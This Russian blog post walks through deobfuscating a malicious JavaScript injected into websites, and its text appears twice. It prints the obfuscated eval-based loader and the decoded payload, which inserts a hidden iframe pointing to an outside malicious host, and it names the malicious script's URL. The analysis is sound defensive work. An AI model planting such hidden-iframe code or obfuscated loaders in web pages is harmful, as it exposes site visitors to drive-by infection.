Здравствуйте, уважаемые пользователи хабра. После того, как я опубликовал данную статью, у пользователей появился интерес, и они стали спрашивать меня в ЛС и в комментариях, а как именно расшифровываются данные скрипты и что же именно такого делают данные коды.
Так всё же, что делают эти скрипты? Чаще всего вредоносные JScript файлы устанавливаются «хакерами», для получения какой либо выгоды, а именно:
Пополнение своего ботнета, установка винлокеров, исправления файла hosts для перенаправления пользователей на фейковые сайты, ну и конечно же для обмена трафиком.
Так вот, я попробую подробно рассказать о том, как раскодировать вредоносный JavaScript и в последствии вычислить адрес, куда он ведет.
Пользоваться я буду редактором NetBeans IDE 7.0. Во-первых, я всегда в нем работаю, а во-вторых, в нем очень удобно форматировать код. Но Вы можете использовать наиболее удобный Вам редактор.
Я возьму ВРЕДОНОСНЫЙ скрипт из прошлой статьи, так что без антивируса туда лучше не лезть. Вот его адрес: goog1e-analitics.com/openapi.js. Для того, чтобы Вам лишний раз не бояться заразиться, и не совершать лишних действий, я скопировал и отформатировал его pastebin.com/BJ751scy
Кто хочет сам его отформатировать заходим в NetBeans => Исходный код => Формат
После того, как мы отформатировали код, и внесли его в html документ между тегами у нас получилось примерно следующее (На скриншоте не весь код)
Как мы видим, сейчас скрипт у нас не читаем. Для его раскодировки, нам понадобится сделать всего несколько действий. Сейчас кратко: Закомментируем eval (Функция которая выполняет весь код), потом создадим переменную x С той частью кода, которая выполняется в eval. Вызовем переменную x функцией document.write(x);. Последним действие уберем 16-ричную систему функцией unescape().
На теории всё легко, а на практике еще легче!
Как я писал выше, мы будем работать с данной функцией (У меня она начинается на 24 строчке файла, у Вас может быть по другому):
И так приступим. У нас есть строчка
Далее ниже определяем переменную, и вызываем её, и у нас получается следующее:
Теперь ничего опасного нам не грозит, можем выполнить файл в браузере:
Скопируем полученный код, и отформатируем его:
Теперь нам придется достаточное время повозиться, убирая 16-ричную систему. Делается это так:
Создаем файл index2.html с содержимым
Берем первую строчку из нашего первого файла (index.html)
Вставляем часть строчки в файл index2.html, вызываем её алертом, и получится вот такой код:
Выполняем…
Копируем полученное, и заменяем это в первой строчке, и так проделываем со всеми строками, в которых есть 16-ричная система.
Ну вот, мы раскодировали вредоносный скрипт, и теперь можем понять, что же он делат. Именно этот скрипт создает ифрейм на адрес vbnieewr.ru/in.cgi?default.
Уважаемые пользователи, следите за безопасностью Вашего проекта, ставьте надежные пароли, делайте бекапы, как можно чаще.
Также хочу поделиться с вами статьёй, которую написал пользователь Raz0r. Она написана по мотивам моего топика, а именно небольшой обзор 5 бесплатных онлайн сервисов для анализа и борьбы с malware.
Спасибо за внимание.
Вступление
Так всё же, что делают эти скрипты? Чаще всего вредоносные JScript файлы устанавливаются «хакерами», для получения какой либо выгоды, а именно:
Пополнение своего ботнета, установка винлокеров, исправления файла hosts для перенаправления пользователей на фейковые сайты, ну и конечно же для обмена трафиком.
Так вот, я попробую подробно рассказать о том, как раскодировать вредоносный JavaScript и в последствии вычислить адрес, куда он ведет.
Подготовка
Программное обеспечение
Пользоваться я буду редактором NetBeans IDE 7.0. Во-первых, я всегда в нем работаю, а во-вторых, в нем очень удобно форматировать код. Но Вы можете использовать наиболее удобный Вам редактор.
Ищем вредоносный код
Я возьму ВРЕДОНОСНЫЙ скрипт из прошлой статьи, так что без антивируса туда лучше не лезть. Вот его адрес: goog1e-analitics.com/openapi.js. Для того, чтобы Вам лишний раз не бояться заразиться, и не совершать лишних действий, я скопировал и отформатировал его pastebin.com/BJ751scy
Кто хочет сам его отформатировать заходим в NetBeans => Исходный код => Формат
Первые действия
После того, как мы отформатировали код, и внесли его в html документ между тегами у нас получилось примерно следующее (На скриншоте не весь код)
Кратко о выполняемых действий
Как мы видим, сейчас скрипт у нас не читаем. Для его раскодировки, нам понадобится сделать всего несколько действий. Сейчас кратко: Закомментируем eval (Функция которая выполняет весь код), потом создадим переменную x С той частью кода, которая выполняется в eval. Вызовем переменную x функцией document.write(x);. Последним действие уберем 16-ричную систему функцией unescape().
На теории всё легко, а на практике еще легче!
Переходим к главному — практика
Как я писал выше, мы будем работать с данной функцией (У меня она начинается на 24 строчке файла, у Вас может быть по другому):
$sA = function (_)
{
for ($g = ~$d.$l6 - ~$d.$l6; $g < $P[_]; $g += -~$d.$FP)
{
$j += '\x25' + $P[$g++] + $P[$g--];
}
$E['eva\x6C']($E[$d.$fJ]($j));
},
И так приступим. У нас есть строчка
$E['eva\x6C']($E[$d.$fJ]($j));
Которую мы должны закомментировать. Делается это двумя слешами // $E['eva\x6C']($E[$d.$fJ]($j));
Далее ниже определяем переменную, и вызываем её, и у нас получается следующее:
$sA = function (_)
{
for ($g = ~$d.$l6 - ~$d.$l6; $g < $P[_]; $g += -~$d.$FP)
{
$j += '\x25' + $P[$g++] + $P[$g--];
}
// $E['eva\x6C']($E[$d.$fJ]($j));
var x = $E[$d.$fJ]($j);
document.write(x);
},
Теперь ничего опасного нам не грозит, можем выполнить файл в браузере:
Скопируем полученный код, и отформатируем его:
var _q=\u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'),
_n='s\x65\x74\x41\x74\x74\x72ibute';
_q[_n]('\x73rc','http://vbnieewr\x2E\x72\x75\x2F\x69\x6E\x2E\x63\x67\x69\x3F\x64\x65\x66\x61\x75lt');
_q.style.position='abs\x6F\x6C\x75\x74e';
_q.style.width='16px';_q[_n]('fr\x61\x6D\x65border', nav\u0069\u0067\u0061tor.use\u0072\u0041\u0067ent.i\u006E\u0064\u0065xOf('f0a7a142b755172da72ff74a1ac25199')+1);
_q.style.left = '-5597px';d\u006F\u0063ument.w\u0072ite('');
\u0064\u006Fcument.getElementById('__dr11938').appendChild(_q);
Завершение
Теперь нам придется достаточное время повозиться, убирая 16-ричную систему. Делается это так:
Создаем файл index2.html с содержимым
<script></script>
Берем первую строчку из нашего первого файла (index.html)
var _q=\u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'),
Вставляем часть строчки в файл index2.html, вызываем её алертом, и получится вот такой код:
<script>
alert("q=\u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'),");
</script>
Выполняем…
Копируем полученное, и заменяем это в первой строчке, и так проделываем со всеми строками, в которых есть 16-ричная система.
Результат
var _q = document.createElement('iframe'),
_n = 'setAttribute';
_q[_n]('src', 'http://vbnieewr.ru/in.cgi?default');
_q.style.position = 'absolute';
_q.style.width = '16px';
_q[_n]('frameborder', navigator.userAgent.indexOf('f0a7a142b755172da72ff74a1ac25199') + 1);
_q.style.left = '-5597px';
document.write('<div id=\'__dr11938\'></div>');
document.getElementById('__dr11938').appendChild(_q);
Ну вот, мы раскодировали вредоносный скрипт, и теперь можем понять, что же он делат. Именно этот скрипт создает ифрейм на адрес vbnieewr.ru/in.cgi?default.
Заключение
Уважаемые пользователи, следите за безопасностью Вашего проекта, ставьте надежные пароли, делайте бекапы, как можно чаще.
Также хочу поделиться с вами статьёй, которую написал пользователь Raz0r. Она написана по мотивам моего топика, а именно небольшой обзор 5 бесплатных онлайн сервисов для анализа и борьбы с malware.
Спасибо за внимание.